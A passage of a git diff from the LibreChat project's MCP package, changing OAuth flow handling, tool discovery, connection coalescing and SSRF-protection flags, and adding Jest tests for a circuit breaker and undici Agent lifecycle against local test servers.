logger.warn(`${this.logPrefix} Failed to clean up existing OAuth flow`, error); } - // Continue to start a new flow below } logger.debug(`${this.logPrefix} Initiating new OAuth flow for ${this.serverName}...`); @@ -390,6 +605,11 @@ export class MCPConnectionFactory { this.serverConfig.oauth, ); + // Store flow state BEFORE redirecting so the callback can find it + const metadataWithUrl = { ...flowMetadata, authorizationUrl }; + await this.flowManager.initFlow(newFlowId, 'mcp_oauth', metadataWithUrl); + await MCPOAuthHandler.storeStateMapping(flowMetadata.state, newFlowId, this.flowManager); + if (typeof this.oauthStart === 'function') { logger.info(`${this.logPrefix} OAuth flow started, issued authorization URL to user`); await this.oauthStart(authorizationUrl); @@ -399,13 +619,9 @@ export class MCPConnectionFactory { ); } - /** Tokens from the new flow */ - const tokens = await this.flowManager.createFlow( - newFlowId, - 'mcp_oauth', - flowMetadata as FlowMetadata, - this.signal, - ); + // createFlow will find the existing PENDING state written by initFlow above, + // so metadata arg is unused (pass {} to make that explicit) + const tokens = await this.flowManager.createFlow(newFlowId, 'mcp_oauth', {}, this.signal); if (typeof this.oauthEnd === 'function') { await this.oauthEnd(); } diff --git a/packages/api/src/mcp/MCPManager.ts b/packages/api/src/mcp/MCPManager.ts index fbd5bd050d..6fdf45c27a 100644 --- a/packages/api/src/mcp/MCPManager.ts +++ b/packages/api/src/mcp/MCPManager.ts @@ -3,15 +3,18 @@ import { logger } from '@librechat/data-schemas'; import { CallToolResultSchema, ErrorCode, McpError } from '@modelcontextprotocol/sdk/types.js'; import type { RequestOptions } from '@modelcontextprotocol/sdk/shared/protocol.js'; import type { TokenMethods, IUser } from '@librechat/data-schemas'; +import type { GraphTokenResolver } from '~/utils/graph'; import type { FlowStateManager } from '~/flow/manager'; import type { MCPOAuthTokens } from './oauth'; import type { RequestBody } from '~/types'; import type * as t from './types'; +import { MCPServersInitializer } from './registry/MCPServersInitializer'; +import { MCPServerInspector } from './registry/MCPServerInspector'; +import { MCPServersRegistry } from './registry/MCPServersRegistry'; import { UserConnectionManager } from './UserConnectionManager'; import { ConnectionsRepository } from './ConnectionsRepository'; -import { MCPServerInspector } from './registry/MCPServerInspector'; -import { MCPServersInitializer } from './registry/MCPServersInitializer'; -import { MCPServersRegistry } from './registry/MCPServersRegistry'; +import { MCPConnectionFactory } from './MCPConnectionFactory'; +import { preProcessGraphTokens } from '~/utils/graph'; import { formatToolContent } from './parsers'; import { MCPConnection } from './connection'; import { processMCPEnv } from '~/utils/env'; @@ -66,6 +69,75 @@ export class MCPManager extends UserConnectionManager { } } + /** + * Discovers tools from an MCP server, even when OAuth is required. + * Per MCP spec, tool listing should be possible without authentication. + * Use this for agent initialization to get tool schemas before OAuth flow. + */ + public async discoverServerTools(args: t.ToolDiscoveryOptions): Promise { + const { serverName, user } = args; + const logPrefix = user?.id ? `[MCP][User: ${user.id}][${serverName}]` : `[MCP][${serverName}]`; + + try { + const existingAppConnection = await this.appConnections?.get(serverName); + if (existingAppConnection && (await existingAppConnection.isConnected())) { + const tools = await existingAppConnection.fetchTools(); + return { tools, oauthRequired: false, oauthUrl: null }; + } + } catch { + logger.debug(`${logPrefix} [Discovery] App connection not available, trying discovery mode`); + } + + const serverConfig = await MCPServersRegistry.getInstance().getServerConfig( + serverName, + user?.id, + ); + + if (!serverConfig) { + logger.warn(`${logPrefix} [Discovery] Server config not found`); + return { tools: null, oauthRequired: false, oauthUrl: null }; + } + + const useOAuth = Boolean(serverConfig.requiresOAuth || serverConfig.oauthMetadata); + + const useSSRFProtection = MCPServersRegistry.getInstance().shouldEnableSSRFProtection(); + const dbSourced = !!serverConfig.dbId; + const basic: t.BasicConnectionOptions = { + dbSourced, + serverName, + serverConfig, + useSSRFProtection, + }; + + if (!useOAuth) { + const result = await MCPConnectionFactory.discoverTools(basic); + return { + tools: result.tools, + oauthRequired: result.oauthRequired, + oauthUrl: result.oauthUrl, + }; + } + + if (!user || !args.flowManager) { + logger.warn(`${logPrefix} [Discovery] OAuth server requires user and flowManager`); + return { tools: null, oauthRequired: true, oauthUrl: null }; + } + + const result = await MCPConnectionFactory.discoverTools(basic, { + user, + useOAuth: true, + flowManager: args.flowManager, + tokenMethods: args.tokenMethods, + signal: args.signal, + oauthStart: args.oauthStart, + customUserVars: args.customUserVars, + requestBody: args.requestBody, + connectionTimeout: args.connectionTimeout, + }); + + return { tools: result.tools, oauthRequired: result.oauthRequired, oauthUrl: result.oauthUrl }; + } + /** Returns all available tool functions from app-level connections */ public async getAppToolFunctions(): Promise { const toolFunctions: t.LCAvailableTools = {}; @@ -160,6 +232,10 @@ Please follow these instructions when using tools from the respective MCP server * Calls a tool on an MCP server, using either a user-specific connection * (if userId is provided) or an app-level connection. Updates the last activity timestamp * for user-specific connections upon successful call initiation. + * + * @param graphTokenResolver - Optional function to resolve Graph API tokens via OBO flow. + * When provided and the server config contains `{{LIBRECHAT_GRAPH_ACCESS_TOKEN}}` placeholders, + * they will be resolved to actual Graph API tokens before the tool call. */ async callTool({ user, @@ -174,6 +250,7 @@ Please follow these instructions when using tools from the respective MCP server oauthStart, oauthEnd, customUserVars, + graphTokenResolver, }: { user?: IUser; serverName: string; @@ -187,6 +264,7 @@ Please follow these instructions when using tools from the respective MCP server flowManager: FlowStateManager; oauthStart?: (authURL: string) => Promise; oauthEnd?: () => Promise; + graphTokenResolver?: GraphTokenResolver; }): Promise { /** User-specific connection */ let connection: MCPConnection | undefined; @@ -216,15 +294,23 @@ Please follow these instructions when using tools from the respective MCP server ); } - const rawConfig = (await MCPServersRegistry.getInstance().getServerConfig( - serverName, - userId, - )) as t.MCPOptions; + const rawConfig = await MCPServersRegistry.getInstance().getServerConfig(serverName, userId); + const isDbSourced = !!rawConfig?.dbId; + + /** Pre-process Graph token placeholders (async) before the synchronous processMCPEnv pass */ + const graphProcessedConfig = isDbSourced + ? (rawConfig as t.MCPOptions) + : await preProcessGraphTokens(rawConfig as t.MCPOptions, { + user, + graphTokenResolver, + scopes: process.env.GRAPH_API_SCOPES, + }); const currentOptions = processMCPEnv({ user, - options: rawConfig, - customUserVars: customUserVars, body: requestBody, + dbSourced: isDbSourced, + options: graphProcessedConfig, + customUserVars, }); if ('headers' in currentOptions) { connection.setRequestHeaders(currentOptions.headers || {}); diff --git a/packages/api/src/mcp/UserConnectionManager.ts b/packages/api/src/mcp/UserConnectionManager.ts index 1b85b69eac..76523fc0fc 100644 --- a/packages/api/src/mcp/UserConnectionManager.ts +++ b/packages/api/src/mcp/UserConnectionManager.ts @@ -1,10 +1,10 @@ import { logger } from '@librechat/data-schemas'; import { ErrorCode, McpError } from '@modelcontextprotocol/sdk/types.js'; -import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory'; -import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry'; -import { MCPConnection } from './connection'; import type * as t from './types'; +import { MCPServersRegistry } from '~/mcp/registry/MCPServersRegistry'; import { ConnectionsRepository } from '~/mcp/ConnectionsRepository'; +import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory'; +import { MCPConnection } from './connection'; import { mcpConfig } from './mcpConfig'; /** @@ -21,6 +21,8 @@ export abstract class UserConnectionManager { protected userConnections: Map> = new Map(); /** Last activity timestamp for users (not per server) */ protected userLastActivity: Map = new Map(); + /** In-flight connection promises keyed by `userId:serverName` — coalesces concurrent attempts */ + protected pendingConnections: Map> = new Map(); /** Updates the last activity timestamp for a user */ protected updateUserLastActivity(userId: string): void { @@ -31,29 +33,64 @@ export abstract class UserConnectionManager { ); } - /** Gets or creates a connection for a specific user */ - public async getUserConnection({ - serverName, - forceNew, - user, - flowManager, - customUserVars, - requestBody, - tokenMethods, - oauthStart, - oauthEnd, - signal, - returnOnOAuth = false, - connectionTimeout, - }: { - serverName: string; - forceNew?: boolean; - } & Omit): Promise { - const userId = user.id; + /** Gets or creates a connection for a specific user, coalescing concurrent attempts */ + public async getUserConnection( + opts: { + serverName: string; + forceNew?: boolean; + } & Omit, + ): Promise { + const { serverName, forceNew, user } = opts; + const userId = user?.id; if (!userId) { throw new McpError(ErrorCode.InvalidRequest, `[MCP] User object missing id property`); } + const lockKey = `${userId}:${serverName}`; + + if (!forceNew) { + const pending = this.pendingConnections.get(lockKey); + if (pending) { + logger.debug(`[MCP][User: ${userId}][${serverName}] Joining in-flight connection attempt`); + return pending; + } + } + + const connectionPromise = this.createUserConnectionInternal(opts, userId); + + if (!forceNew) { + this.pendingConnections.set(lockKey, connectionPromise); + } + + try { + return await connectionPromise; + } finally { + if (!forceNew && this.pendingConnections.get(lockKey) === connectionPromise) { + this.pendingConnections.delete(lockKey); + } + } + } + + private async createUserConnectionInternal( + { + serverName, + forceNew, + user, + flowManager, + customUserVars, + requestBody, + tokenMethods, + oauthStart, + oauthEnd, + signal, + returnOnOAuth = false, + connectionTimeout, + }: { + serverName: string; + forceNew?: boolean; + } & Omit, + userId: string, + ): Promise { if (await this.appConnections!.has(serverName)) { throw new McpError( ErrorCode.InvalidRequest, @@ -65,6 +102,9 @@ export abstract class UserConnectionManager { const userServerMap = this.userConnections.get(userId); let connection = forceNew ? undefined : userServerMap?.get(serverName); + if (forceNew) { + MCPConnection.clearCooldown(serverName); + } const now = Date.now(); // Check if user is idle @@ -115,8 +155,10 @@ export abstract class UserConnectionManager { try { connection = await MCPConnectionFactory.create( { - serverName: serverName, serverConfig: config, + serverName: serverName, + dbSourced: !!config.dbId, + useSSRFProtection: MCPServersRegistry.getInstance().shouldEnableSSRFProtection(), }, { useOAuth: true, @@ -183,6 +225,7 @@ export abstract class UserConnectionManager { /** Disconnects and removes a specific user connection */ public async disconnectUserConnection(userId: string, serverName: string): Promise { + this.pendingConnections.delete(`${userId}:${serverName}`); const userMap = this.userConnections.get(userId); const connection = userMap?.get(serverName); if (connection) { @@ -210,6 +253,12 @@ export abstract class UserConnectionManager { ); } await Promise.allSettled(disconnectPromises); + // Clean up any pending connection promises for this user + for (const key of this.pendingConnections.keys()) { + if (key.startsWith(`${userId}:`)) { + this.pendingConnections.delete(key); + } + } // Ensure user activity timestamp is removed this.userLastActivity.delete(userId); logger.info(`[MCP][User: ${userId}] All connections processed for disconnection.`); @@ -236,4 +285,23 @@ export abstract class UserConnectionManager { } } } + + /** Returns counts of tracked users and connections for diagnostics */ + public getConnectionStats(): { + trackedUsers: number; + totalConnections: number; + activityEntries: number; + appConnectionCount: number; + } { + let totalConnections = 0; + for (const serverMap of this.userConnections.values()) { + totalConnections += serverMap.size; + } + return { + trackedUsers: this.userConnections.size, + totalConnections, + activityEntries: this.userLastActivity.size, + appConnectionCount: this.appConnections?.getConnectionCount() ?? 0, + }; + } } diff --git a/packages/api/src/mcp/__tests__/ConnectionsRepository.test.ts b/packages/api/src/mcp/__tests__/ConnectionsRepository.test.ts index e722b38375..3b827774d0 100644 --- a/packages/api/src/mcp/__tests__/ConnectionsRepository.test.ts +++ b/packages/api/src/mcp/__tests__/ConnectionsRepository.test.ts @@ -1,8 +1,8 @@ import { logger } from '@librechat/data-schemas'; -import { ConnectionsRepository } from '../ConnectionsRepository'; -import { MCPConnectionFactory } from '../MCPConnectionFactory'; -import { MCPConnection } from '../connection'; -import type * as t from '../types'; +import type * as t from '~/mcp/types'; +import { ConnectionsRepository } from '~/mcp/ConnectionsRepository'; +import { MCPConnectionFactory } from '~/mcp/MCPConnectionFactory'; +import { MCPConnection } from '~/mcp/connection'; // Mock external dependencies jest.mock('@librechat/data-schemas', () => ({ @@ -24,6 +24,7 @@ jest.mock('../connection'); const mockRegistryInstance = { getServerConfig: jest.fn(), getAllServerConfigs: jest.fn(), + shouldEnableSSRFProtection: jest.fn().mockReturnValue(false), }; jest.mock('../registry/MCPServersRegistry', () => ({ @@ -108,6 +109,8 @@ describe('ConnectionsRepository', () => { { serverName: 'server1', serverConfig: mockServerConfigs.server1, + useSSRFProtection: false, + dbSourced: false, }, undefined, ); @@ -129,6 +132,8 @@ describe('ConnectionsRepository', () => { { serverName: 'server1', serverConfig: mockServerConfigs.server1, + useSSRFProtection: false, + dbSourced: false, }, undefined, ); @@ -167,6 +172,8 @@ describe('ConnectionsRepository', () => { { serverName: 'server1', serverConfig: configWithCachedAt, + useSSRFProtection: false, + dbSourced: false, }, undefined, ); diff --git a/packages/api/src/mcp/__tests__/MCPConnection.test.ts b/packages/api/src/mcp/__tests__/MCPConnection.test.ts index 9f3a2dbf5d..5cb5606d57 100644 --- a/packages/api/src/mcp/__tests__/MCPConnection.test.ts +++ b/packages/api/src/mcp/__tests__/MCPConnection.test.ts @@ -290,6 +290,16 @@ describe('extractSSEErrorMessage', () => { }; } + if (rawMessage === 'fetch failed') { + return { + message: + 'fetch failed (request aborted, likely after a timeout — connection may still be usable)', + code, + isProxyHint: false, + isTransient: true, + }; + } + return { message: rawMessage, code, @@ -528,4 +538,263 @@ describe('extractSSEErrorMessage', () => { expect(result.isTransient).toBe(false); }); }); + + describe('fetch failed errors', () => { + it('should detect "fetch failed" as transient', () => { + const error = { message: 'fetch failed' }; + const result = extractSSEErrorMessage(error); + + expect(result.message).toContain('fetch failed'); + expect(result.message).toContain('request aborted'); + expect(result.isProxyHint).toBe(false); + expect(result.isTransient).toBe(true); + }); + + it('should not match "fetch failed" as a substring in a longer message', () => { + const error = { message: 'Something fetch failed to do' }; + const result = extractSSEErrorMessage(error); + + expect(result.message).toBe('Something fetch failed to do'); + expect(result.isTransient).toBe(false); + }); + }); +}); + +/** + * Tests for circuit breaker logic. + * + * Uses standalone implementations that mirror the static/private circuit breaker + * methods in MCPConnection. Same approach as the error detection tests above. + */ +describe('MCPConnection Circuit Breaker', () => { + /** 5 cycles within 60s triggers a 30s cooldown */ + const CB_MAX_CYCLES = 5; + const CB_CYCLE_WINDOW_MS = 60_000; + const CB_CYCLE_COOLDOWN_MS = 30_000; + + /** 3 failed rounds within 120s triggers exponential backoff (30s - 300s) */ + const CB_MAX_FAILED_ROUNDS = 3; + const CB_FAILED_WINDOW_MS = 120_000; + const CB_BASE_BACKOFF_MS = 30_000; + const CB_MAX_BACKOFF_MS = 300_000; + + interface CircuitBreakerState { + cycleCount: number; + cycleWindowStart: number; + cooldownUntil: number; + failedRounds: number; + failedWindowStart: number; + failedBackoffUntil: number; + } + + function createCB(): CircuitBreakerState { + return { + cycleCount: 0, + cycleWindowStart: Date.now(), + cooldownUntil: 0, + failedRounds: 0, + failedWindowStart: Date.now(), + failedBackoffUntil: 0, + }; + } + + function isCircuitOpen(cb: CircuitBreakerState): boolean { + const now = Date.now(); + return now < cb.cooldownUntil || now < cb.failedBackoffUntil; + } + + function recordCycle(cb: CircuitBreakerState): void { + const now = Date.now(); + if (now - cb.cycleWindowStart > CB_CYCLE_WINDOW_MS) { + cb.cycleCount = 0; + cb.cycleWindowStart = now; + } + cb.cycleCount++; + if (cb.cycleCount >= CB_MAX_CYCLES) { + cb.cooldownUntil = now + CB_CYCLE_COOLDOWN_MS; + cb.cycleCount = 0; + cb.cycleWindowStart = now; + } + } + + function recordFailedRound(cb: CircuitBreakerState): void { + const now = Date.now(); + if (now - cb.failedWindowStart > CB_FAILED_WINDOW_MS) { + cb.failedRounds = 0; + cb.failedWindowStart = now; + } + cb.failedRounds++; + if (cb.failedRounds >= CB_MAX_FAILED_ROUNDS) { + const backoff = Math.min( + CB_BASE_BACKOFF_MS * Math.pow(2, cb.failedRounds - CB_MAX_FAILED_ROUNDS), + CB_MAX_BACKOFF_MS, + ); + cb.failedBackoffUntil = now + backoff; + } + } + + function resetFailedRounds(cb: CircuitBreakerState): void { + cb.failedRounds = 0; + cb.failedWindowStart = Date.now(); + cb.failedBackoffUntil = 0; + } + + beforeEach(() => { + jest.useFakeTimers(); + }); + + afterEach(() => { + jest.useRealTimers(); + }); + + describe('cycle tracking', () => { + it('should not trigger cooldown for fewer than 5 cycles', () => { + const now = Date.now(); + jest.setSystemTime(now); + + const cb = createCB(); + for (let i = 0; i < CB_MAX_CYCLES - 1; i++) { + recordCycle(cb); + } + expect(isCircuitOpen(cb)).toBe(false); + }); + + it('should trigger 30s cooldown after 5 cycles within 60s', () => { + const now = Date.now(); + jest.setSystemTime(now); + + const cb = createCB(); + for (let i = 0; i < CB_MAX_CYCLES; i++) { + recordCycle(cb); + } + expect(isCircuitOpen(cb)).toBe(true); + + jest.advanceTimersByTime(29_000); + expect(isCircuitOpen(cb)).toBe(true); + + jest.advanceTimersByTime(1_000); + expect(isCircuitOpen(cb)).toBe(false); + }); + + it('should reset cycle count when window expires', () => { + const now = Date.now(); + jest.setSystemTime(now); + + const cb = createCB(); + for (let i = 0; i < CB_MAX_CYCLES - 1; i++) { + recordCycle(cb); + } + + jest.advanceTimersByTime(CB_CYCLE_WINDOW_MS + 1); + + recordCycle(cb); + expect(isCircuitOpen(cb)).toBe(false); + }); + }); + + describe('failed round tracking', () => { + it('should not trigger backoff for fewer than 3 failures', () => { + const now = Date.now(); + jest.setSystemTime(now); + + const cb = createCB(); + for (let i = 0; i < CB_MAX_FAILED_ROUNDS - 1; i++) { + recordFailedRound(cb); + } + expect(isCircuitOpen(cb)).toBe(false); + }); + + it('should trigger 30s backoff after 3 failures within 120s', () => { + const now = Date.now(); + jest.setSystemTime(now); + + const cb = createCB(); + for (let i = 0; i < CB_MAX_FAILED_ROUNDS; i++) { + recordFailedRound(cb); + } + expect(isCircuitOpen(cb)).toBe(true); + + jest.advanceTimersByTime(CB_BASE_BACKOFF_MS); + expect(isCircuitOpen(cb)).toBe(false); + }); + + it('should use exponential backoff based on failure count', () => { + jest.setSystemTime(Date.now()); + + const cb = createCB(); + + for (let i = 0; i < 3; i++) { + recordFailedRound(cb); + } + expect(cb.failedBackoffUntil - Date.now()).toBe(30_000); + + recordFailedRound(cb); + expect(cb.failedBackoffUntil - Date.now()).toBe(60_000); + + recordFailedRound(cb); + expect(cb.failedBackoffUntil - Date.now()).toBe(120_000); + + recordFailedRound(cb); + expect(cb.failedBackoffUntil - Date.now()).toBe(240_000); + + // capped at 300s + recordFailedRound(cb); + expect(cb.failedBackoffUntil - Date.now()).toBe(300_000); + }); + + it('should reset failed window when window expires', () => { + const now = Date.now(); + jest.setSystemTime(now); + + const cb = createCB(); + recordFailedRound(cb); + recordFailedRound(cb); + + jest.advanceTimersByTime(CB_FAILED_WINDOW_MS + 1); + + recordFailedRound(cb); + expect(isCircuitOpen(cb)).toBe(false); + }); + }); + + describe('resetFailedRounds', () => { + it('should clear failed round state on successful connection', () => { + const now = Date.now(); + jest.setSystemTime(now); + + const cb = createCB(); + for (let i = 0; i < CB_MAX_FAILED_ROUNDS; i++) { + recordFailedRound(cb); + } + expect(isCircuitOpen(cb)).toBe(true); + + resetFailedRounds(cb); + expect(isCircuitOpen(cb)).toBe(false); + expect(cb.failedRounds).toBe(0); + expect(cb.failedBackoffUntil).toBe(0); + }); + }); + + describe('clearCooldown (registry deletion)', () => { + it('should allow connections after clearing circuit breaker state', () => { + const now = Date.now(); + jest.setSystemTime(now); + + const registry = new Map(); + const serverName = 'test-server'; + + const cb = createCB(); + registry.set(serverName, cb); + + for (let i = 0; i < CB_MAX_CYCLES; i++) { + recordCycle(cb); + } + expect(isCircuitOpen(cb)).toBe(true); + + registry.delete(serverName); + + const newCb = createCB(); + expect(isCircuitOpen(newCb)).toBe(false); + }); + }); }); diff --git a/packages/api/src/mcp/__tests__/MCPConnectionAgentLifecycle.test.ts b/packages/api/src/mcp/__tests__/MCPConnectionAgentLifecycle.test.ts new file mode 100644 index 0000000000..281bd590db --- /dev/null +++ b/packages/api/src/mcp/__tests__/MCPConnectionAgentLifecycle.test.ts @@ -0,0 +1,727 @@ +/** + * Integration tests for MCPConnection undici Agent lifecycle. + * + * These tests spin up real in-process MCP servers using the official SDK's + * StreamableHTTPServerTransport and SSEServerTransport, then connect via + * MCPConnection and assert that: + * + * 1. Agents are reused across requests — one per transport, not one per request. + * 2. All Agents are closed when disconnect() is called. + * 3. Prior Agents are closed before a new transport is built during reconnection. + * 4. A second disconnect() does not double-close already-cleared Agents. + * 5. SSE 404 without an active session is silently ignored (backwards compat). + * 6. SSE 404 with an active session falls through so reconnection can fire. + * 7. Regression: the old per-request Agent pattern results in leaked agents that + * are never closed — proving the fix is necessary. + */ + +import * as http from 'http'; +import * as net from 'net'; +import { randomUUID } from 'crypto'; +import { Agent, fetch as undiciFetch } from 'undici'; +import { Server as McpServerCore } from '@modelcontextprotocol/sdk/server/index.js'; +import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; +import { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js'; +import { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js'; +import { logger } from '@librechat/data-schemas'; +import { MCPConnection } from '~/mcp/connection'; + +import type { Socket } from 'net'; + +jest.mock('@librechat/data-schemas', () => ({ + logger: { + info: jest.fn(), + warn: jest.fn(), + error: jest.fn(), + debug: jest.fn(), + }, +})); + +jest.mock('~/auth', () => ({ + createSSRFSafeUndiciConnect: jest.fn(() => undefined), + resolveHostnameSSRF: jest.fn(async () => false), +})); + +jest.mock('~/mcp/mcpConfig', () => ({ + mcpConfig: { CONNECTION_CHECK_TTL: 0 }, +})); + +const mockLogger = logger as jest.Mocked; + +/** + * Track every Agent created during the test run so we can forcibly tear down their + * internal connection pools in afterAll. The MCP SDK's Client / EventSource may hold + * references to undici internals that keep Node's event loop alive. + */ +const allAgentsCreated: Agent[] = []; +const OriginalAgent = Agent; +const PatchedAgent = new Proxy(OriginalAgent, { + construct(target, args) { + const instance = new target(...(args as [Agent.Options?])); + allAgentsCreated.push(instance); + return instance; + }, +}); +(global as Record).__undiciAgent = PatchedAgent; + +/** Cleanly disconnect an MCPConnection — suppress reconnection first so no timers linger. */ +async function safeDisconnect(conn: MCPConnection | null): Promise { + if (!conn) { + return; + } + (conn as unknown as { shouldStopReconnecting: boolean }).shouldStopReconnecting = true; + conn.removeAllListeners(); + await conn.disconnect(); +} + +afterAll(async () => { + const destroying = allAgentsCreated.map((a) => { + if (!a.destroyed && !a.closed) { + return a.destroy().catch(() => undefined); + } + return Promise.resolve(); + }); + allAgentsCreated.length = 0; + await Promise.all(destroying); +}); + +interface TestServer { + url: string; + close: () => Promise; +} + +function getFreePort(): Promise { + return new Promise((resolve, reject) => { + const srv = net.createServer(); + srv.listen(0, '127.0.0.1', () => { + const addr = srv.address() as net.AddressInfo; + srv.close((err) => (err ? reject(err) : resolve(addr.port))); + }); + }); +} + +/** Wraps an http.Server with socket tracking so close() kills all lingering connections. */ +function trackSockets(httpServer: http.Server): () => Promise { + const sockets = new Set(); + httpServer.on('connection', (socket: Socket) => { + sockets.add(socket); + socket.once('close', () => sockets.delete(socket)); + }); + return () => + new Promise((resolve) => { + for (const socket of sockets) { + socket.destroy(); + } + sockets.clear(); + httpServer.close(() => resolve()); + }); +} + +async function createStreamableServer(): Promise { + const sessions = new Map(); + + const httpServer = http.createServer(async (req, res) => { + const sid = req.headers['mcp-session-id'] as string | undefined; + let transport = sid ? sessions.get(sid) : undefined; + + if (!transport) { + transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID() }); + const mcp = new McpServer({ name: 'test-streamable', version: '0.0.1' }); + await mcp.connect(transport); + } + + await transport.handleRequest(req, res); + + if (transport.sessionId && !sessions.has(transport.sessionId)) { + sessions.set(transport.sessionId, transport); + transport.onclose = () => sessions.delete(transport!.sessionId!); + } + }); + + const destroySockets = trackSockets(httpServer); + const port = await getFreePort(); + await new Promise((resolve) => httpServer.listen(port, '127.0.0.1', resolve)); + + return { + url: `http://127.0.0.1:${port}/`, + close: async () => { + const closing = [...sessions.values()].map((t) => t.close().catch(() => undefined)); + sessions.clear(); + await Promise.all(closing); + await destroySockets(); + }, + }; +} + +async function createSSEServer(): Promise { + const transports = new Map(); + const mcpServer = new McpServerCore({ name: 'test-sse', version: '0.0.1' }, { capabilities: {} }); + + const httpServer = http.createServer(async (req, res) => { + if (req.method === 'GET' && req.url === '/sse') { + const t = new SSEServerTransport('/messages', res); + transports.set(t.sessionId, t); + t.onclose = () => transports.delete(t.sessionId); + await mcpServer.connect(t); + return; + } + + if (req.method === 'POST' && req.url?.startsWith('/messages')) { + const sid = new URL(req.url, 'http://x').searchParams.get('sessionId') ?? ''; + const t = transports.get(sid); + if (!t) { + res.writeHead(404).end(); + return; + } + await t.handlePostMessage(req, res); + return; + } + + res.writeHead(404).end(); + }); + + const destroySockets = trackSockets(httpServer); + const port = await getFreePort(); + await new Promise((resolve) => httpServer.listen(port, '127.0.0.1', resolve)); + + return { + url: `http://127.0.0.1:${port}/sse`, + close: async () => { + const closing = [...transports.values()].map((t) => t.close().catch(() => undefined)); + transports.clear(); + await Promise.all(closing); + await destroySockets(); + }, + }; +} + +describe('MCPConnection Agent lifecycle – streamable-http', () => { + let server: TestServer; + let conn: MCPConnection | null; + let closeSpy: jest.SpyInstance; + + beforeEach(async () => { + server = await createStreamableServer(); + conn = null; + closeSpy = jest.spyOn(Agent.prototype, 'close'); + }); + + afterEach(async () => { + MCPConnection.clearCooldown('test'); + await safeDisconnect(conn); + conn = null; + jest.restoreAllMocks(); + await server.close(); + }); + + it('reuses the same Agent across multiple requests instead of creating one per request', async () => { + conn = new MCPConnection({ + serverName: 'test', + serverConfig: { type: 'streamable-http', url: server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + + await conn.fetchTools(); + await conn.fetchTools(); + await conn.fetchTools(); + + await safeDisconnect(conn); + + /** + * streamable-http creates two Agents via createFetchFunction: one for POST + * (normal timeout) and one for GET SSE (long body timeout). + * If agents were per-request (old bug), they would not be stored and close + * would be called 0 times. With our fix, Agents are stored and closed on + * disconnect regardless of request count — confirming reuse. + */ + const closeCount = closeSpy.mock.calls.length; + expect(closeCount).toBeGreaterThanOrEqual(1); + expect(closeCount).not.toBe(3); + + conn = null; + }); + + it('calls Agent.close() on every registered Agent when disconnect() is called', async () => { + conn = new MCPConnection({ + serverName: 'test', + serverConfig: { type: 'streamable-http', url: server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + expect(closeSpy).not.toHaveBeenCalled(); + + await safeDisconnect(conn); + expect(closeSpy).toHaveBeenCalled(); + conn = null; + }); + + it('does not call Agent.close() before disconnect()', async () => { + conn = new MCPConnection({ + serverName: 'test', + serverConfig: { type: 'streamable-http', url: server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + expect(closeSpy).not.toHaveBeenCalled(); + }); + + it('closes prior Agents on the connectClient() teardown path', async () => { + conn = new MCPConnection({ + serverName: 'test', + serverConfig: { type: 'streamable-http', url: server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + expect(closeSpy).not.toHaveBeenCalled(); + + (conn as unknown as { connectionState: string }).connectionState = 'disconnected'; + await conn.connectClient(); + + expect(closeSpy.mock.calls.length).toBeGreaterThan(0); + }); + + it('does not double-close Agents when disconnect() is called twice', async () => { + conn = new MCPConnection({ + serverName: 'test', + serverConfig: { type: 'streamable-http', url: server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + await safeDisconnect(conn); + + const countAfterFirst = closeSpy.mock.calls.length; + expect(countAfterFirst).toBeGreaterThan(0); + + await safeDisconnect(conn); + expect(closeSpy.mock.calls.length).toBe(countAfterFirst); + conn = null; + }); + + it('creates separate Agents for POST (normal timeout) and GET SSE (default sseReadTimeout)', async () => { + conn = new MCPConnection({ + serverName: 'test', + serverConfig: { type: 'streamable-http', url: server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + + const agents = (conn as unknown as { agents: Agent[] }).agents; + expect(agents.length).toBeGreaterThanOrEqual(2); + + const optionsSym = Object.getOwnPropertySymbols(agents[0]).find( + (s) => s.toString() === 'Symbol(options)', + ); + expect(optionsSym).toBeDefined(); + + const bodyTimeouts = agents.map( + (a) => (a as unknown as Record)[optionsSym!].bodyTimeout, + ); + + const hasShortTimeout = bodyTimeouts.some((t) => t <= 120_000); + const hasLongTimeout = bodyTimeouts.some((t) => t === 5 * 60 * 1000); + + expect(hasShortTimeout).toBe(true); + expect(hasLongTimeout).toBe(true); + }); + + it('respects a custom sseReadTimeout from server config', async () => { + const customTimeout = 10 * 60 * 1000; + conn = new MCPConnection({ + serverName: 'test', + serverConfig: { type: 'streamable-http', url: server.url, sseReadTimeout: customTimeout }, + useSSRFProtection: false, + }); + + await conn.connect(); + + const agents = (conn as unknown as { agents: Agent[] }).agents; + const optionsSym = Object.getOwnPropertySymbols(agents[0]).find( + (s) => s.toString() === 'Symbol(options)', + ); + expect(optionsSym).toBeDefined(); + + const bodyTimeouts = agents.map( + (a) => (a as unknown as Record)[optionsSym!].bodyTimeout, + ); + + expect(bodyTimeouts).toContain(customTimeout); + }); +}); + +describe('MCPConnection Agent lifecycle – SSE', () => { + let server: TestServer; + let conn: MCPConnection | null; + let closeSpy: jest.SpyInstance; + + beforeEach(async () => { + server = await createSSEServer(); + conn = null; + closeSpy = jest.spyOn(Agent.prototype, 'close'); + }); + + afterEach(async () => { + MCPConnection.clearCooldown('test-sse'); + await safeDisconnect(conn); + conn = null; + jest.restoreAllMocks(); + await server.close(); + }); + + it('reuses the same Agents across multiple requests instead of creating one per request', async () => { + conn = new MCPConnection({ + serverName: 'test-sse', + serverConfig: { url: server.url }, + useSSRFProtection: false, + }); + + await conn.connect(); + + await conn.fetchTools(); + await conn.fetchTools(); + await conn.fetchTools(); + + await safeDisconnect(conn); + + /** + * SSE creates two Agents: sseAgent (eventSourceInit) + createFetchFunction agent. + * Close count must be at least 2 regardless of how many POST requests were made. + * If agents were per-request (old bug), they would not be stored and close + * would be called 0 times. + */ + expect(closeSpy.mock.calls.length).toBeGreaterThanOrEqual(2); + conn = null; + }); + + it('calls Agent.close() on every registered Agent when disconnect() is called', async () => { + conn = new MCPConnection({ + serverName: 'test-sse', + serverConfig: { url: 